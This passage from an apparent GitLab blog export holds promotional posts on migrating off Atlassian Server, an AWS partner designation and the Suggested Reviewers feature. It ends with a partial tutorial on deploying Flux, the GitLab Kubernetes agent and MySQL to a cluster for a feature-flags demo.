Atlassian Server is fast approaching. If your software development workflows rely on on-premises deployments of Atlassian Server products such as Bitbucket Server for source code management, Bamboo Server for CI/CD, or Jira Server for Agile Planning, you’re faced with a choice. You can settle for the Atlassian options that remain available to you, or you can take a more forward-looking path: Make the move to a single AI-powered DevSecOps platform.\n\n## Atlassian Server end of life: Migration made easy\nMigrating to a DevSecOps platform is simple: With GitLab’s various importer tools you can quickly import repositories, Jira issues, and Bamboo jobs. Here are a few resources you can use to get started, whether you’re ready to adopt the whole GitLab platform or you’d like to move one service at a time:\n* [Import your project from Bitbucket Cloud to GitLab](https://docs.gitlab.com/ee/user/project/import/bitbucket.html)\n* [Import your project from Bitbucket Server to GitLab](https://docs.gitlab.com/ee/user/project/import/bitbucket_server.html)\n* [Import your Jira project issues to GitLab](https://docs.gitlab.com/ee/user/project/import/jira.html)\n* [Integrate Jira with GitLab](https://docs.gitlab.com/ee/integration/jira/)\n\nAtlassian discontinuing Server presents the perfect opportunity to consolidate your toolchain, increase developer efficiency, and implement DevSecOps. Let’s take a look at the benefits you can expect from making this move.\n\n## Less complexity, more productivity\nDevSecOps enables companies to build software faster, more efficiently, and more securely. At the same time, the proliferation of DevOps tools is creating additional complexity in how companies develop, secure, and deploy software, which in turn is costing companies time and money. GitLab’s [2023 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2023/) found that 84% of organizations are using between two and ten DevOps tools, with 69% of developers spending at least a quarter of their time maintaining and integrating toolchains. Even if some of those various DevOps tools are from the same vendor, they often require work in the background to set up, secure, and maintain the integrations. That’s a significant amount of effort that teams could be using to deliver value to customers.\n\nLet’s say you’re an Atlassian shop. You’re using Bitbucket Server for source code management, Bamboo Server for CI/CD, Zephyr for test case management, Jira Server for agile planning, and numerous other third-party tools for security scanning, vulnerability tracking, and more. As the Atlassian Server end of life approaches, you know that continuing to use Server without security updates and vulnerability fixes puts your company and customers at risk — a major no-go for security and compliance reasons. You have the option to move to Atlassian Cloud or, if you need to remain on-premises, Atlassian Data Center. But transitioning requires time, effort, and significant planning. If you’re already dedicating resources to making this change, why not take the opportunity to simplify matters by consolidating all of those tools into a single [AI-powered DevSecOps platform](https://about.gitlab.com/blog/categories/ai-ml/) instead?\n\nAccording to our 2023 survey, the top benefits of migrating to a DevSecOps platform include cost and time savings, increased efficiency, and better security. Plus, 90% of developers whose organizations are using a platform said they feel they’re able to effectively identify and mitigate security vulnerabilities, among other benefits.\n\n> How much is your toolchain costing you? [See how much you can save with the GitLab DevSecOps Platform](https://about.gitlab.com/calculator/roi/).\n\n## Improved developer experience\nTime spent maintaining and integrating toolchains isn’t just money down the drain for the organization — it’s also a drain on developer satisfaction. [Helping organizations better support their developers](https://about.gitlab.com/blog/the-gitlab-quarterly-how-our-latest-beta-releases-support-developers/) has always been a priority for GitLab, and we’re confident in our position that a single DevSecOps platform is the best way to do just that.\n\nWith a single platform, developers stay in flow and do what they do best: develop great software. More concretely, a superior developer experience empowers teams to:\n* focus on work that matters, with less context switching between different tools\n* onboard and get up to speed more quickly with only a single platform to learn\n* break down silos across product, development, security, and operations to foster better collaboration\n* receive continuous feedback and iterate more quickly to produce higher-quality output\n* automate manual tasks with AI built into the development lifecycle to avoid errors and wasted time\n\nIf your team hasn’t been able to invest in the developer experience, now is the perfect time to make it a priority. We’ve heard from GitLab customers like [Airbus](https://about.gitlab.com/customers/airbus/) and [Iron Mountain](https://about.gitlab.com/customers/iron-mountain/) that a toolchain consisting of Jira, Bitbucket, and Bamboo doesn’t offer a user-friendly experience and lacks key capabilities. Why migrate to a new Atlassian Cloud or Data Center setup if you’re going to be missing out on mission-critical features such as [built-in security scanning](https://docs.gitlab.com/ee/user/application_security/), [review apps](https://docs.gitlab.com/ee/ci/review_apps/), and [feature flags](https://docs.gitlab.com/ee/operations/feature_flags.html)?\n\n## Visibility at every stage\nA unified DevSecOps platform offers [out-of-the-box dashboards and reports](https://about.gitlab.com/blog/getting-started-with-value-streams-dashboard/) that provide insights on productivity, security, code quality, and more to help teams identify and fix barriers within the software development lifecycle. In our 2023 survey, respondents whose organizations are using a DevSecOps platform were significantly more likely to say they clearly understand what is happening across all stages of the software development lifecycle.\n\nHaving that extra visibility:\n* improves software delivery quality and speed by uncovering bottlenecks in software delivery\n* boosts organizational value delivery by helping organizations identify high-performing teams, maintain standards, and share best practices\n* helps organizations ensure the security of their end-to-end software supply chain and compliance with regulatory mandates\n\nYou can’t get that visibility without a single DevSecOps platform — and GitLab is the most comprehensive AI-powered DevSecOps platform on the market. With other providers, you’re still stringing together various third-party tools into complex toolchains, hampering visibility while creating integration headaches and increasing your total cost of ownership. From idea to value, GitLab lets teams collaborate in a single application to [shorten cycle times](https://about.gitlab.com/customers/hackerone/), [reduce development costs](https://about.gitlab.com/customers/carfax/), and [increase developer productivity](https://about.gitlab.com/customers/deutsche-telekom/).\n\n> Learn why GitLab was named a [Leader in the 2023 Gartner® Magic Quadrant™ for DevOps Platforms](https://about.gitlab.com/gartner-magic-quadrant/).\n\nBottom line: [With Atlassian Server support ending](https://www.atlassian.com/migration/assess/journey-to-cloud), you shouldn’t be forced to choose an option that isn’t right for the [future of your business](https://about.gitlab.com/blog/devsecops-platforms-help-smbs-scale-as-they-grow/). Whether you’re on the lookout for alternatives to fundamental tools in your stack that will no longer be supported, or you’re simply seeking new ways to boost the productivity of your growing team, adopting an AI-powered DevSecOps platform should be as frictionless as possible. That’s why GitLab offers a variety of deployment options to meet your unique needs, including self-managed, multi-tenant SaaS, and [GitLab Dedicated, our single-tenant SaaS offering](https://about.gitlab.com/blog/introducing-gitlab-dedicated/).\n\nWhen you’re ready to make the move, [we’re here to help](https://about.gitlab.com/sales/).\n",[943,110,674],{"slug":8367,"featured":6,"template":678},"atlassian-server-ending-move-to-a-single-devsecops-platform","content:en-us:blog:atlassian-server-ending-move-to-a-single-devsecops-platform.yml","Atlassian Server Ending Move To A Single Devsecops Platform","en-us/blog/atlassian-server-ending-move-to-a-single-devsecops-platform.yml","en-us/blog/atlassian-server-ending-move-to-a-single-devsecops-platform",{"_path":8373,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8374,"content":8379,"config":8384,"_id":8386,"_type":16,"title":8387,"_source":17,"_file":8388,"_stem":8389,"_extension":20},"/en-us/blog/aws-devsecops-competency-partner",{"title":8375,"description":8376,"ogTitle":8375,"ogDescription":8376,"noIndex":6,"ogImage":8227,"ogUrl":8377,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8377,"schema":8378},"GitLab achieves the AWS DevSecOps Partner Competency Specialty","The AWS DevSecOps Partner Competency Specialty demonstrates that GitLab is instrumental in helping customers implement better security while continuing to innovate.","https://about.gitlab.com/blog/aws-devsecops-competency-partner","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab achieves the AWS DevSecOps Partner Competency Specialty\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"}],\n        \"datePublished\": \"2023-09-25\",\n      }",{"title":8375,"description":8376,"authors":8380,"heroImage":8227,"date":8381,"body":8382,"category":962,"tags":8383},[1244],"2023-09-25","\nGitLab recently achieved AWS's DevSecOps Partner Competency desigation, a sub-specialty for the [AWS DevOps ISV Partner Competency](https://partners.amazonaws.com/partners/001E0000018YWFfIAO/GitLab,%20Inc) category. GitLab also holds the AWS DevOps ISV Partner Competency designation. AWS's partner qualification program signifies to customers that AWS has vetted GitLab's capabilities and use cases.\n\n> Attending [AWS re:Invent 2023](https://reinvent.awsevents.com/)? Find us at Booth 1152.\n\nAccording to AWS, solutions in the [DevSecOps category](https://aws.amazon.com/devops/partner-solutions/?blog-posts-cards.sort-by=item.additionalFields.createdDate&blog-posts-cards.sort-order=desc&partner-case-studies-cards.sort-by=item.additionalFields.sortDate&partner-case-studies-cards.sort-order=desc) \"make it easy for customers to integrate security across every stage of the development and delivery cycles, providing rapid and contextual feedback to development, security, and ops teams.\" The designation comprises a [validation checklist](https://apn-checklists.s3.amazonaws.com/competency/devops/technology/CenAm4qx8.html#competencyCategories) and attestation that GitLab's DevSecOps Platform meets AWS’s expectations.\n\n## GitLab's strength in DevSecOps\nGitLab's [AI-powered DevSecOps platform](https://about.gitlab.com/gitlab-duo/) helps organizations shift left on vulnerability remediation. At GitLab, shifting left means ensuring developers have a frictionless security defect remediation experience that enables them to immediately handle vulnerabilities in their code.\n\nGitLab's DevSecOps Platform:\n- surfaces security findings shortly after they are introduced and while the code is still being worked on\n- associates findings directly with those who changed the code\n- offers remediation guidance (including on-demand training and automated fixes)\n- supports rich, in-context collaboration for vulnerability management\n\n![GitLab + AWS Workflow](https://about.gitlab.com/images/blogimages/aws/devsecops-post/gitlabawsworkflow.png)\n\n\n![AWS Partner Logo](https://about.gitlab.com/images/blogimages/aws/devopsisvpartner.png){: .right}\n",[944,282,4103],{"slug":8385,"featured":6,"template":678},"aws-devsecops-competency-partner","content:en-us:blog:aws-devsecops-competency-partner.yml","Aws Devsecops Competency Partner","en-us/blog/aws-devsecops-competency-partner.yml","en-us/blog/aws-devsecops-competency-partner",{"_path":8391,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8392,"content":8398,"config":8403,"_id":8405,"_type":16,"title":8406,"_source":17,"_file":8407,"_stem":8408,"_extension":20},"/en-us/blog/gitlab-suggested-reviewers",{"title":8393,"description":8394,"ogTitle":8393,"ogDescription":8394,"noIndex":6,"ogImage":8395,"ogUrl":8396,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8396,"schema":8397},"Unblock code reviews with GitLab Suggested Reviewers","Identify the right reviewers more quickly, saving time and accelerating the software development lifecycle.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666316/Blog/Hero%20Images/codereview2.png","https://about.gitlab.com/blog/gitlab-suggested-reviewers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Unblock code reviews with GitLab Suggested Reviewers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Itzik Gan Baruch\"}],\n        \"datePublished\": \"2023-09-21\",\n      }",{"title":8393,"description":8394,"authors":8399,"heroImage":8395,"date":8400,"body":8401,"category":791,"tags":8402},[691],"2023-09-21","\nIn the world of software development, speed is of the essence. The faster you can merge your code, the quicker you can iterate, innovate, and deliver value to your users. However, there's a roadblock that often hinders this need for speed – the arduous process of finding the right reviewer for your merge request (MR).\n\nImagine this: You've just finished a brilliant piece of code that's ready to be integrated into your project. You're excited to see it in action, and so are your teammates. But before your masterpiece can join the project, it must go through the crucial stage of code review. Here's where the challenge begins.\n\nIn many development teams, finding the ideal reviewer can be a time-consuming task. You might need someone with expertise in a particular area, someone who's available at the moment, and someone who can provide insightful feedback promptly. The longer it takes to locate the right reviewer, the more your code languishes in review limbo, delaying the entire development cycle.\n\nAnd let's not forget the frustration of starting a review with the wrong person, only to realize that their insights aren't quite what you needed. Backtracking to find another reviewer can be a difficult process, compounding the delays and creating unnecessary bottlenecks.\n\nThis challenge becomes even more pronounced as software projects grow in size and complexity, especially when multiple teams are involved. Coordinating reviews across team boundaries can be a logistical nightmare. \n\nWhat's worse is that these delays often set off a chain reaction, leading to even more delays down the line, as other tasks and dependencies pile up, affecting not just the current MR but the entire project's timeline.\n\n![development graphic](https://about.gitlab.com/images/blogimages/2023-09-22-suggested-reviewers/code-review.png)\n\nIn this blog post, we'll introduce you to [GitLab Suggested Reviewers](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/#suggested-reviewers). Suggested Reviewers is designed to streamline your MR workflow by ensuring that you connect with the right reviewers quickly and efficiently. Say goodbye to wasted time and welcome to a faster, more agile development cycle.\n\n## What is Suggested Reviewers?\nSuggested Reviewers leverages a machine learning algorithm that analyzes the changes in an MR and a project’s contribution graph to suggest reviewers with contextual knowledge. It generates a list of up to five suggested reviewers. The list is presented in the Reviewers dropdown in the merge request sidebar, empowering the author to immediately select available reviewers. These suggestions are contextual to the changes in the MR. Additional commits to MRs may change the reviewer suggestions, which are automatically updated in the reviewer dropdown list.\n\nIt also will display if a suggestion is a code owner or if they can merge the changes,helping drive towards action.\n\n![suggested reviewers](https://about.gitlab.com/images/blogimages/2023-09-22-suggested-reviewers/suggested-reviewers.png) \n\n## Key benefits of Suggested Reviewers\nHere are the key benefits of Suggested Reviewers.\n- **Time savings.** Suggested Reviewers eliminates the need for guesswork or manual reviewer selection. The feature automates the process, saving time for developers.\n- **Enhanced collaboration.** By connecting you with the right reviewers, Suggested Reviewers promotes collaboration and encourages knowledge sharing among team members.\n- **Improved code quality.** Suggested Reviewers enables developers to have the most qualified individuals review their code, resulting in better quality and more reliable software.\n- **Reduced bottlenecks.** Suggested Reviewers speeds up the review process and reduces bottlenecks by quickly identifying available and willing reviewers.\n- **Personalized suggestions.** Suggested Reviewers considers individual expertise and past interactions, providing tailored recommendations.\n\n## How to get started with Suggested Reviewers\n\nIn this blog post, we've explored how Suggested Reviewers transforms the development lifecycle. It's not just about faster code reviews; it's about faster, more efficient, and more collaborative software development from start to finish. \n\n> Learn more in our [Suggested Reviewers documentation](https://docs.gitlab.com/ee/user/project/merge_requests/reviews/#suggested-reviewers).\n",[1207,2368,790],{"slug":8404,"featured":6,"template":678},"gitlab-suggested-reviewers","content:en-us:blog:gitlab-suggested-reviewers.yml","Gitlab Suggested Reviewers","en-us/blog/gitlab-suggested-reviewers.yml","en-us/blog/gitlab-suggested-reviewers",{"_path":8410,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8411,"content":8417,"config":8422,"_id":8424,"_type":16,"title":8425,"_source":17,"_file":8426,"_stem":8427,"_extension":20},"/en-us/blog/eliminate-risk-with-feature-flags-tutorial",{"title":8412,"description":8413,"ogTitle":8412,"ogDescription":8413,"noIndex":6,"ogImage":8414,"ogUrl":8415,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8415,"schema":8416},"How to use feature flags to lower risk in deployments","Follow this comprehensive tutorial to learn how to create and use feature flags in your software development environment.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667743/Blog/Hero%20Images/flags.png","https://about.gitlab.com/blog/eliminate-risk-with-feature-flags-tutorial","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use feature flags to lower risk in deployments\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2023-09-20\",\n      }",{"title":8412,"description":8413,"authors":8418,"heroImage":8414,"date":8419,"body":8420,"category":962,"tags":8421},[937],"2023-09-20","\nDevelopers typically use advanced techniques like canary, blue/green, and incremental deployments to reduce risk when practicing progressive delivery, a facet of continuous delivery (CD). In this tutorial, we will show you how to use feature flags, another progressive delivery option developers can use to test while in production.\n\n## What is progressive delivery?\nProgressive delivery is the ability to test in production while controlling your audience of who can exercise or see updates to an application with a high level of granularity. This approach can also be thought of as developer experimentation.\n\n## What are feature flags\nFeature flags enable you to choose what to deploy and who to deploy to in production. They allow you to define the audience for your application updates as well as the fashion in which they will be served.\n\nFeature flags help stakeholders reduce risk, allowing them to do controlled testing of features and separate feature delivery from customer launch.\n\n## Benefits of feature flags\nThe following are benefits of GitLab's feature flags.\n- **Lower risk.** Feature flags prevent unscheduled outages, control your audience in a fine-grained fashion, and can be optionally used in conjunction with canary deployments.\n- **Ease of use.** Feature flags have simple configurability and instrumentation, support user lists, and offer built-in service.\n- **Language agnostic.** Our feature flag implementation supports all of the main programming languages.\n- **Better compliance and audit capabilities.** The GitLab platform automatically records all feature flags actions.\n\n## Tutorial requirements\nThis is what you need for this tutorial:\n1. A GitLab account on gitlab.com SaaS\n2. Flux CLI installed on your local desktop (on my Mac, I installed it by executing `brew install fluxcd/tap/flux`)\n3. A running Kubernetes cluster, i.e. a GKE cluster with 3 e2-medium nodes\n4. `kubectl` connectivity to your Kubernetes cluster from a local Terminal window on your desktop\n\n## About this feature flag tutorial\nThis tutorial is based on a fictitious application, which is a simplified inventory system. The goal of this tutorial is to show you how to create, configure, and implement a feature flag using GitLab.\n\n**Note:** This tutorial is for learning purposes and not meant to deploy a production-ready architecture. Also, to keep the number of steps low, masked variables and sealed secrets are not being used throughout this tutorial.\n\n## Flux and the GitLab agent for Kubernetes\nHere is how to install Flux and GitLab agent for Kubernetes.\n- Log on to your GitLab workspace.\n- Create a personal access token (PAT) from your GitLab account by navigating to **User settings > Preferences > Access tokens**. In the **Personal Access Tokens** section, click on the **Add new token** button on the righthand side of the section. For **Token name**, enter `pat-for-flux`. Leave the expiration date with its default (it should be 30 days from its creation) and select the **API** scope for your **PAT**. Click on the **Create personal access token** button to create your PAT. Copy and save the value of your **PAT**; you will need it at a later step.\n\n![create-pat](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/create-pat.png){: .shadow.medium.center}\nCreating a personal access token\n{: .note.text-center}\n\n- Head back to your GitLab workspace main page.\n- Create a group named “hn” by clicking the button **New group** (or **New subgroup** if you are creating this group inside an existing group) on the top right hand side of your screen, and then clicking on the **Create group** tile. Enter \"hn\" for your **Group name** and click on the **Create group** button to create it. Leave the rest of the fields with their defaults.\n\n![create-group-hn](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/create-group-hn.png){: .shadow.medium.center}\nCreating group \"hn\"\n{: .note.text-center}\n\n- Inside group “hn”, create project “flux-config” by clicking the **New project** on the top righthand side of your screen and then clicking on the **Create blank project** tile.\n\n![create-proj-flux-config](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/create-proj-flux-config.png){: .shadow.medium.center}\nCreating project \"flux-config\"\n{: .note.text-center}\n\n- From the Terminal window with `kubectl` access to your Kubernetes cluster, export your **PAT** by entering the following command:\n\n> export GITLAB_TOKEN=`\u003Creplace with your PAT value>`\n\n- From the Terminal window with `kubectl` access to your Kubernetes cluster, bootstrap Flux by executing the following command:\n\n**Note:** Make sure to replace `\u003Cyour path>` with whatever precedes your group “hn”. For example, it could be `--owner=tech-marketing/sandbox/hn`, or if your group “hn” is at the very top level of your GitLab workspace, it would be `--owner=hn`.\n\n```\nflux bootstrap gitlab \\\n  --owner=\u003Cyour path>/hn \\\n  --repository=flux-config \\\n  --branch=main \\\n  --path=clusters/my-cluster \\\n  --deploy-token-auth\n```\n\n![flux-bootstrap-output](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/flux-bootstrap-output.png){: .shadow.medium.center.}\nFlux bootstrap output\n{: .note.text-center}\n\nThe “flux-config” project should now contain new directories and files as shown below:\n\n![flux-config-post-bootstrap](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/flux-config-post-bootstrap.png){: .shadow.medium.center}\nProject flux-config post flux bootstrap process\n{: .note.text-center}\n\n- Head over to project **hn/flux-config** and create file “.gitlab/agents/k8s-agent/config.yaml” by clicking on the **+** sign next to the “flux-config” and selecting **New file**. Paste the following into it the new file:\n\n**Note:** Make sure to replace `\u003Cyour path>` with whatever precedes your group “hn”. For example, it could be `- id: tech-marketing/sandbox/hn` or if your group “hn” is at the very top level of your GitLab workspace, it would be `- id: hn`.\n\n```\nci_access:\n  groups:\n    - id: \u003Cyour path>/hn\n```\n\nCommit this file to main by clicking on the **Commit changes** button and ensuring that the target branch is “main”.\n\n![create-config-yaml](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/create-config-yaml.png){: .shadow.medium.center}\nCreating the GitLab agent for Kubernetes configuration manifest\n{: .note.text-center}\n\n- Head to **Operate > Kubernetes clusters** and register the agent by clicking the **Connect a cluster** button.\n\n![register-agent](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/register-agent.png){: .shadow.medium.center}\nRegistering the GitLab agent for Kubernetes\n{: .note.text-center}\n\n- On the “Connect a Kubernetes cluster” dialog, click on the popdown list and select agent “k8s-agent”. Click on the **Register** button. The dialog will refresh and show the **Agent access token**. Copy and save the **Agent access token**; you will need it at a later step. Close the dialog by clicking on the **Close** button.\n\n![agent-access-token-dialog](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/agent-access-token-dialog.png){: .shadow.medium.center}\nThe agent access token to save\n{: .note.text-center}\n\nAt this moment, you will see the agent listed and its Connection status will be “Never connected”.\n\n![agent-not-connected](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/agent-not-connected.png){: .shadow.medium.center}\nAgent registered but not connected yet\n{: .note.text-center}\n\n-  Head to **flux-config/clusters/my-cluster** directory and create a file named “namespace-gitlab.yaml” and paste the following into it:\n\n```\napiVersion: v1\nkind: Namespace\nmetadata:\n  name: gitlab\n```\n\n![gitlab-namespace-manifest](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/gitlab-namespace-manifest.png){: .shadow.medium.center}\nManifest for the gitlab namespace\n{: .note.text-center}\n\nCommit this file to main by clicking on the **Commit changes** button and ensuring that the target branch is “main”.\n\n```\nNote: You can check that the namespace was created in your cluster by executing this command from a Terminal:\n\nkubectl get ns\n```\n\n![gitlab-ns-created](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/gitlab-ns-created.png){: .shadow.medium.center}\nFlux created gitlab namespace\n{: .note.text-center}\n\n- Before we have Flux deploy the GitLab agent for Kubernetes to your cluster, we need to create a secret, containing the **Agent access token** you saved earlier, in your cluster. Create a file named “secret.yaml” in your local desktop, paste the following into it and then save it:\n\n**Note:** Make sure to replace `\u003Cyour-agent-access-token-here>` with your **Agent access token** you saved earlier.\n\n```\napiVersion: v1\nkind: Secret\nmetadata:\n  name: gitlab-agent-token-initial\ntype: Opaque\nstringData:\n  values.yaml: |-\n    config:\n      token: \"\u003Cyour-agent-access-token-here>\"\n```\n\n![agent-token-secret](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/agent-token-secret.png){: .shadow.medium.center.}\nManifest for agent token secret created on local desktop\n{: .note.text-center}\n\n- Create the secret in your cluster by executing the following command from a Terminal:\n\n> kubectl apply -f secret.yaml -n gitlab\n\n```\nNote: You can check that the secret was created in your cluster by executing this command from a Terminal:\n\nkubectl get secrets -n gitlab\n```\n\n![apply-agent-token-secret](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/apply-agent-token-secret.png){: .shadow.medium.center}\nApplying the agent token secret to the Kubernetes cluster\n{: .note.text-center}\n\n- Now let’s use the Flux Helm Controller to deploy the GitLab agent for Kubernetes to your cluster. Head to **flux-config/clusters/my-cluster** directory and create a file named “agentk.yaml” and paste the following into it:\n\n```\n---\napiVersion: source.toolkit.fluxcd.io/v1beta2\nkind: HelmRepository\nmetadata:\n  labels:\n    app.kubernetes.io/component: agentk\n    app.kubernetes.io/created-by: gitlab\n    app.kubernetes.io/name: agentk\n    app.kubernetes.io/part-of: gitlab\n  name: gitlab-agent\n  namespace: gitlab\nspec:\n  interval: 1h0m0s\n  url: https://charts.gitlab.io\n---\napiVersion: helm.toolkit.fluxcd.io/v2beta1\nkind: HelmRelease\nmetadata:\n  name: gitlab-agent\n  namespace: gitlab\nspec:\n  chart:\n    spec:\n      chart: gitlab-agent\n      sourceRef:\n        kind: HelmRepository\n        name: gitlab-agent\n        namespace: gitlab\n  interval: 1h0m0s\n  values:\n    replicas: 1\n    config:\n      kasAddress: \"wss://kas.gitlab.com\"  \n  valuesFrom:\n    - kind: Secret\n      name: gitlab-agent-token-initial\n      valuesKey: values.yaml\n```\n\n![create-agentk-manifest](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/create-agentk-manifest.png){: .shadow.medium.center}\nCreating the manifest for the GitLab agent for Kubernetes\n{: .note.text-center}\n\nCommit this file to main by clicking on the **Commit changes** button and ensuring that the target branch is “main”.\n\n```\nNote: In a few seconds, you can check that the GitLab agent for Kubernetes was created in your cluster by executing this command from a Terminal (the pod name should start with “gitlab-agent”):\n\nkubectl get pods -n gitlab\n```\n![agentk-pod-up](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/agentk-pod-up.png){: .shadow.medium.center}\nAgentk running in the Kubernetes cluster\n{: .note.text-center}\n\n## Creating an instance of MySQL database in your cluster via Flux\n- Using the breadcrumb at the top of your window, head to group “hn” and create a new project by clicking on the **New project** button. On the **Create new project** window, click on the **Import project** tile.\n- At the **Import project** window, click on the **Repository by URL** button. The window will display fields to enter the URL of the repository you would like to import. In the text field **Git repository URL**, enter the following:\n\n> [https://gitlab.com/tech-marketing/sandbox/mysql.git](https://gitlab.com/tech-marketing/sandbox/mysql.git)\n\nLeave the rest of the fields with their defaults.\n\n![import-mysql-proj](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/import-mysql-proj.png){: .shadow.medium.center}\nImporting mysql project into group \"hn\"\n{: .note.text-center}\n\n- Click on the **Create project** button at the bottom of the screen. You will see an \"Importing in progress\" message temporarily on your screen.\n- Now we need to create a deploy token for this project so that Flux can interact with it. While in project “mysql”, select **Settings > Repository** and scroll down to the **Deploy tokens** section. Click on the **Expand** button to the right of the **Deploy tokens** section. Then click on the **Add token** button, which will expand the section to include fields to start entering information for the deploy token to be created.\n- Give the deploy token the name “mysql-flux-deploy-token” and check the checkbox **read_repository** for it. Then click on the button **Create deploy token** to create the token.\n\n![create-mysql-deploy-token](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/create-mysql-deploy-token.png){: .shadow.medium.center}\nCreating the deploy token for \"mysql\" project for Flux to interact with it\n{: .note.text-center}\n\nCopy and save the username and password for the newly created deploy token; you will need them at a later step.\n\n![mysql-deploy-token-created](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/mysql-deploy-token-created.png){: .shadow.medium.center}\nCreating the deploy token for \"mysql\" project for Flux to interact with it\n{: .note.text-center}\n\n-  From a Terminal, execute the following command to create a secret in your cluster for the deploy token you just created:\n\n**Note:** Make sure to replace `\u003Cyour path>` with the missing partial path to the project “mysql”, \u003Cyour-deploy-token-username> with the deploy token username you saved earlier, and the \u003Cyour-deploy-token-password> with the deploy token password you saved earlier.\n\n```\nflux create secret git mysql-flux-deploy-authentication \\\n         --url=https://gitlab.com/\u003Cyour path>/hn/mysql \\\n         --namespace=default \\\n         --username=\u003Cyour-deploy-token-username> \\\n         --password=\u003Cyour-deploy-token-password>\n```\n\n```\nNote: You can check that the secret was created in your cluster by executing this command from a Terminal:\n\nkubectl -n default get secrets mysql-flux-deploy-authentication\n```\n\n![mysql-secret-created](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/mysql-secret-created.png){: .shadow.medium.center}\nCreating secret for the deploy token for \"mysql\" project in the Kubernetes cluster\n{: .note.text-center}\n\n- Head back to project “hn/flux-config” and open the Web IDE from it.\n\n![open-web-ide](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/open-web-ide.png){: .shadow.medium.center}\nSelecting Web IDE from the dropdown menu\n{: .note.text-center}\n\n- From inside the Web IDE, navigate to directory \"clusters/my-cluster\".\n\n![goto-clusters-mycluster](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/goto-clusters-mycluster.png){: .shadow.medium.center}\nNavigate to directory \"clusters/my-cluster\" in the Web IDE\n{: .note.text-center}\n\n- Inside “clusters/my-cluster” directory, create file “mysql-manifests-source.yaml” and paste the following text into it:\n\n**Note:** Replace `\u003Cyour path>` with the missing partial path to the project “mysql”\n\n```\napiVersion: source.toolkit.fluxcd.io/v1beta2\nkind: GitRepository\nmetadata:\n  name: mysql\n  namespace: default\nspec:\n  interval: 1m0s\n  ref:\n    branch: main\n  secretRef:\n    name: mysql-flux-deploy-authentication\n  url: https://gitlab.com/\u003Cyour path>/hn/mysql\n```\n\n![create-mysql-source-manifest](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/create-mysql-source-manifest.png){: .shadow.medium.center}\nCreating mysql-manifests-source.yaml file in the Web IDE\n{: .note.text-center}\n\n- Still in the Web IDE, inside “clusters/my-cluster” directory, create file “mysql-manifests-kustomization.yaml” and paste the following text into it:\n\n```\napiVersion: kustomize.toolkit.fluxcd.io/v1beta2\nkind: Kustomization\nmetadata:\n  name: mysql-source-kustomization\n  namespace: default\nspec:\n  interval: 1m0s\n  path: ./\n  prune: true\n  sourceRef:\n    kind: GitRepository\n    name: mysql\n    namespace: default\n  targetNamespace: default\n```\n\n![create-mysql-kustomization-manifest](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/create-mysql-kustomization-manifest.png){: .shadow.medium.center}\nCreating mysql-manifests-kustomization.yaml file in the Web IDE\n{: .note.text-center}\n\n- From the Web IDE, commit both files to the main branch by clicking on the **Source Control** icon on the left vertical menu, pressing the **Commit to main** button.\n\n![commit-to-main](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/commit-to-main.png){: .shadow.medium.center}\nClicking on the Source Control icon and committing to main in the Web IDE\n{: .note.text-center}\n\nThen press the **Continue** button to confirm that you want to commit your changes to the default branch:\n\n![commit-to-main-continue](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/commit-to-main-continue.png){: .shadow.medium.center}\nClicking on the Source Control icon and committing to main in the Web IDE\n{: .note.text-center}\n\n- Flux will deploy MySQL to your Kubernetes cluster. You can close the Web IDE browser tab at this point.\n\n```\nNote: You can check that the GitLab agent for Kubernetes was created in your cluster by executing this command from a Terminal:\n\nkubectl get pods -l app=mysql\n\nYou can check the persistent volume by executing this command from a Terminal:\n\nkubectl describe pvc mysql-pv-claim\n```\n\n![mysql-pod-and-pv-up](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/mysql-pod-and-pv-up.png){: .shadow.center}\nVerifying that mysql pod and its associated persitent volume claim are up and ready\n{: .note.text-center}\n\n- Now that the MySQL pod is up and running, we need to create a database, tables, and indexes in it and also populate some of the tables with dummy data for the inventory system. Using the breadcrumb at the top of your window, head over to the “mysql” project and select **Build > Pipelines** from the left vertical navigation menu.\n\n![head-to-mysql-build-pipelines](https://about.gitlab.com/images/blogimages/feature-flags-tutorial/head-to-mysql-build-pipelines.png){: .shadow.medium.center}\nHead to \"mysql\" project and select **Build > Pipelines** from the left vertical 